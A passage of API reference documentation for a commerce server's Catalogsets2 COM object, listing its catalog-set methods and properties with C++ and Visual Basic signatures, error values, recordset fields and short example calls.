[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a single row and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, maximum of 255 characters | None
CatalogSetDescription | String, maximum of 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a single row and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, maximum of 255 characters | None
CatalogSetDescription | String, maximum of 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'
set rsMyCatalogSetInfo = myCatalogsets2.GetCatalogSetInfo(strCatalogSetID)

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogsets Method [C++]

Catalogsets2.GetCatalogSets Method [Visual Basic]

Use this method to return a list of all catalog sets.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogSets(
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogSets() As Recordset

Parameters

[C++]
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of all catalog sets.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a row for each catalog set and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, 255 characters | None
CatalogSetDescription | String, 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a row for each catalog set and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, 255 characters | None
CatalogSetDescription | String, 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsMyCatalogsets2 = myCatalogsets2.GetCatalogSets()

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogsForUser Method [C++]

Catalogsets2.GetCatalogsForUser Method [Visual Basic]

Use this method to return the list of catalogs that have been assigned to a particular user through the catalog set specified in their profile.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogsForUser(
  IDispatch* objProfileService,
  BSTR user_id,
  BSTR defaultCatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsForUser(
  objProfileService As IDispatch,
  user_id As String,
  defaultCatalogSetID As String
) As Recordset

Parameters

[C++]
objProfileService
[in] A pointer to the IDispatch interface to the profile service.
user_id
[in] A BSTR that contains the user ID.
defaultCatalogSetID
[in] A BSTR that contains the default catalog set ID.
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.
[Visual Basic]
objProfileService
A ProfileService object.
user_id
A String that contains the user ID.
defaultCatalogSetID
A String that contains the default catalog set ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of catalogs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set associated with the user profile in the user_id parameter and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table | String maximum of 128 characters | None

If the user profile object passed to this method has not been initialized, the object will return the default catalog set.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set associated with the user profile in the user_id parameter and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table | String maximum of 128 characters | None

If the user profile object passed to this method has not been initialized, the object will return the default catalog set.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set objProfileService = Server.CreateObject("Commerce.ProfileService")
Call objProfileService.Initialize(sProfileServiceConnectionString, "Profile Definitions")
set rsCatalogSet = myCatalogsets2.GetCatalogsForUser(objProfileService, user_id, defaultCatalogSetID)

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogsInCatalogSet Method [C++]

Catalogsets2.GetCatalogsInCatalogSet Method [Visual Basic]

[C++] Use this method to return the catalogs that are included in a particular catalog set.

[Visual Basic] Use this method to return the catalogs that are included in a particular catalog set.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogsInCatalogSet(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsInCatalogSet(
  CatalogSetID As String
) As Recordset

Parameters

[C++]
CatalogSetID
[in] A BSTR that contains the catalog set ID.
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.
[Visual Basic]
CatalogSetID
A String that contains the catalog set ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of catalogs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table | String maximum of 128 characters | None

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a Recordset object with a row for each catalog in the catalog set and the following fields:

Field | Type | Description
CatalogName From the CatalogSet_Catalogs table | String maximum of 255 characters | None
CatalogName From the CatalogGlobal table | String maximum of 128 characters | None

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsCatalogNames = myCatalogsets2.GetCatalogsInCatalogSet(CatalogSetID)

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::GetCatalogsNotInCatalogSet Method [C++]

Catalogsets2.GetCatalogsNotInCatalogSet Method [Visual Basic]

Use this method to return the catalogs that are not included in a specified catalog set.

Definition

[C++]
HRESULT _Catalogsets2::GetCatalogsNotInCatalogSet(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogsNotInCatalogSet(
  CatalogSetID As String
) As Recordset

Parameters

[C++]
CatalogSetID
[in] A BSTR that contains the catalog set ID.
retVal
[out, retval] A pointer to hold the reference to the returned _Recordset, which will contain the retVal parameter.
[Visual Basic]
CatalogSetID
A String that contains the catalog set ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter retVal contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The Recordset object returned by this method contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID is the GUID of a catalog set
set rsCatalogs = myCatalogsets2.GetCatalogsNotInCatalogSet(strCatalogSetID)

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::Initialize Method [C++]

Catalogsets2.Initialize Method [Visual Basic]

Use this method to initialize a new CatalogSet object.

Definition

[C++]
HRESULT _Catalogsets2::Initialize(
  BSTR CatalogConnectionString,
  BSTR TransactionConfigConnectionString
);
[Visual Basic]
Sub Initialize(
  CatalogConnectionString As String,
  TransactionConfigConnectionString As String
)

Parameters

[C++]
CatalogConnectionString
[in] A BSTR that contains the catalog connection string.
TransactionConfigConnectionString
[in] A BSTR that contains the transaction configuration connection string. The value of the BSTR is not used
[Visual Basic]
CatalogConnectionString
A String that contains the catalog connection string.
TransactionConfigConnectionString
A String that contains the transaction configuration connection string. The value of the String is not used.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The TransactionConfigConnectionString parameter is required, but not used. The contents of the BSTR are ignored. This parameter is reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

The TransactionConfigConnectionString parameter is required, but not used. The contents of the String are ignored. This parameter is reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogsets2.Initialize strCatalogConnection, ""

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::RemoveCatalogFromCatalogSets Method [C++]

Catalogsets2.RemoveCatalogFromCatalogSets Method [Visual Basic]

Use this method to remove a catalog from all catalog sets.

Definition

[C++]
HRESULT _Catalogsets2::RemoveCatalogFromCatalogSets(
  BSTR CatalogName
);
[Visual Basic]
Sub RemoveCatalogFromCatalogSets(
  CatalogName As String
)

Parameters

[C++]
CatalogName
[in] A BSTR that contains the name of the catalog to be removed.
[Visual Basic]
CatalogName
A String that contains the name of the catalog to be removed.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method should be called whenever a catalog is deleted, before or after calling the CatalogManager.DeleteCatalog method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

MyCatalogManager.DeleteCatalog "Shoes"
myCatalogsets2.RemoveCatalogFromCatalogSets "Shoes"

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::UpdateCatalogSet Method [C++]

Catalogsets2.UpdateCatalogSet Method [Visual Basic]

Use this method to update an existing catalog set and its basic properties.

Definition

[C++]
HRESULT _Catalogsets2::UpdateCatalogSet(
  BSTR CatalogSetID,
  BSTR CatalogSetName,
  BSTR CatalogSetDescription,
  VARIANT_BOOL bWildCard,
  _Recordset* CatalogNamesRS
);
[Visual Basic]
Sub UpdateCatalogSet(
  CatalogSetID As String,
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As Recordset
)

Parameters

[C++]
CatalogSetID
[in] A BSTR that contains the catalog set ID (GUID).
CatalogSetName
[in] A BSTR that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
[in] A BSTR that contains the catalog set description.
bWildCard
[in] A VARIANT_BOOL that indicates which catalogs to use. A value of TRUE indicates use all catalogs. A value of FALSE indicates use the catalogs contained in the CatalogNameRS parameter.
CatalogNamesRS
[in, optional] A reference to a _Recordset object that contains the catalog names.
[Visual Basic]
CatalogSetID
A String that contains the catalog set ID (GUID).
CatalogSetName
A String that contains the catalog set name. The maximum length is 128 characters.
CatalogSetDescription
A String that contains the catalog set description.
bWildCard
A Boolean that indicates which catalogs to use. A value of True indicates use all catalogs. A value of False indicates use the catalogs contained in the CatalogNameRS parameter.
CatalogNamesRS
A Recordset object that contains the catalog names.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID is the GUID for the CatalogSet.
'rsCatalogNames is a Recordset as described in the parameter description.

myCatalogsets2.UpdateCatalogSet strCatalogSetID, "Clothing", "All soft goods", FALSE, rsCatalogNames

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2 Properties [C++]

Catalogsets2 Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
OrganizationObjectCatalogSetKey | BSTR | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | BSTR | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | BSTR | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | BSTR | Stores the name of the organization object. This property is read/write.
UserObjectCatalogSetKey | BSTR | Stores the CatalogSet key for the user object. This property is read/write.
UserObjectCategoryName | BSTR | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | BSTR | Stores the join key for the user object. This property is read/write.
UserObjectName | BSTR | Stores the name of the user object. This property is read/write.
UserObjectOrganizationKey | BSTR | Stores the organization key for the user object. This property is read/write.
[Visual Basic]
Property | Type | Description
OrganizationObjectCatalogSetKey | String | Stores the CatalogSet key for the organization object. This property is read/write.
OrganizationObjectCategoryName | String | Stores the category name for the organization object. This property is read/write.
OrganizationObjectJoinKey | String | Stores the join key for the organization object. This property is read/write.
OrganizationObjectName | String | Stores the name of the organization object. This property is read/write.
UserObjectCatalogSetKey | String | Stores the CatalogSet key for the user object. This property is read/write.
UserObjectCategoryName | String | Stores the category name for the user object. This property is read/write.
UserObjectJoinKey | String | Stores the join key for the user object. This property is read/write.
UserObjectName | String | Stores the name of the User object. This property is read/write.
UserObjectOrganizationKey | String | Stores the organization key for the user object. This property is read/write.


_Catalogsets2::get_OrganizationObjectCatalogSetKey, put_OrganizationObjectCatalogSetKey Property [C++]

Catalogsets2.OrganizationObjectCatalogSetKey Property [Visual Basic]

The OrganizationObjectCatalogSetKey property is a read/write string that contains the CatalogSet key for the organization object. This property defaults to "Org_catalog_set".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_OrganizationObjectCatalogSetKey(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_OrganizationObjectCatalogSetKey(
  BSTR UnNamedParameter
);
[Visual Basic]
Property OrganizationObjectCatalogSetKey As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the OrganizationObjectCatalogSetKey.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectCatalogSetKey.

[Visual Basic] None.

Return Values

[C++] These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_OrganizationObjectCategoryName, put_OrganizationObjectCategoryName Property [C++]

Catalogsets2.OrganizationObjectCategoryName Property [Visual Basic]

The OrganizationObjectCategoryName property is a read/write string that contains the category name of the organization object. This property defaults to "GeneralInfo".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_OrganizationObjectCategoryName(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_OrganizationObjectCategoryName(
  BSTR UnNamedParameter
);
[Visual Basic]
Property OrganizationObjectCategoryName As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the OrganizationObjectCategoryName.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectCategoryName.

[Visual Basic] None.

Return Values

[C++] These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_OrganizationObjectJoinKey, put_OrganizationObjectJoinKey Property [C++]

Catalogsets2.OrganizationObjectJoinKey Property [Visual Basic]

The OrganizationObjectJoinKey property is a read/write String that contains the join key of the Organization object. This property defaults to "org_id".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_OrganizationObjectJoinKey(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_OrganizationObjectJoinKey(
  BSTR UnNamedParameter
);
[Visual Basic]
Property OrganizationObjectJoinKey As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the OrganizationObjectJoinKey.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectJoinKey.

[Visual Basic] None.

Return Values

[C++] These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_OrganizationObjectName, put_OrganizationObjectName Property [C++]

Catalogsets2.OrganizationObjectName Property [Visual Basic]

The OrganizationObjectName property is a read/write String that contains the name of the organization object. This property defaults to "Organization".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_OrganizationObjectName(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_OrganizationObjectName(
  BSTR UnNamedParameter
);
[Visual Basic]
Property OrganizationObjectName As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the OrganizationObjectName.
[out, retval] When getting the property, a BSTR used to return the OrganizationObjectName.

[Visual Basic] None.

Return Values

[C++] These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_UserObjectCatalogSetKey, put_UserObjectCatalogSetKey Property [C++]

Catalogsets2.UserObjectCatalogSetKey Property [Visual Basic]

The UserObjectCatalogSetKey property is a read/write String that contains the CatalogSet key of the user object. This property defaults to "user_catalog_set".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_UserObjectCatalogSetKey(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_UserObjectCatalogSetKey(
  BSTR UnNamedParameter
);
[Visual Basic]
Property UserObjectCatalogSetKey As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the UserObjectCatalogSetKey.
[out, retval] When getting the property, a BSTR used to return the UserObjectCatalogSetKey.

Return Values

[C++] These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_UserObjectCategoryName, put_UserObjectCategoryName Property [C++]

Catalogsets2.UserObjectCategoryName Property [Visual Basic]

The UserObjectCategoryName property is a read/write String that contains the category name of the user object. This property defaults to: "AccountInfo".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_UserObjectCategoryName(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_UserObjectCategoryName(
  BSTR UnNamedParameter
);
[Visual Basic]
Property UserObjectCategoryName As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the UserObjectCategoryName.
[out, retval] When getting the property, a BSTR used to return the UserObjectCategoryName.

[Visual Basic] None.

Return Values

[C++] These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_UserObjectJoinKey, put_UserObjectJoinKey Property [C++]

Catalogsets2.UserObjectJoinKey Property [Visual Basic]

The UserObjectJoinKey property is a read/write String that contains the join key of the user object. This property defaults to "user_id".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_UserObjectJoinKey(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_UserObjectJoinKey(
  BSTR UnNamedParameter
);
[Visual Basic]
Property UserObjectJoinKey As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the UserObjectJoinKey.
[out, retval] When getting the property, a BSTR used to return the UserObjectJoinKey.

[Visual Basic] None.

Return Values

[C++] These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_UserObjectName, put_UserObjectName Property [C++]

Catalogsets2.UserObjectName Property [Visual Basic]

The UserObjectName property is a read/write String that contains the name of the user object. This property defaults to "UserObject".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_UserObjectName(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_UserObjectName(
  BSTR UnNamedParameter
);
[Visual Basic]
Property UserObjectName As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the UserObjectName.
[out, retval] When getting the property, a BSTR used to return the UserObjectName.

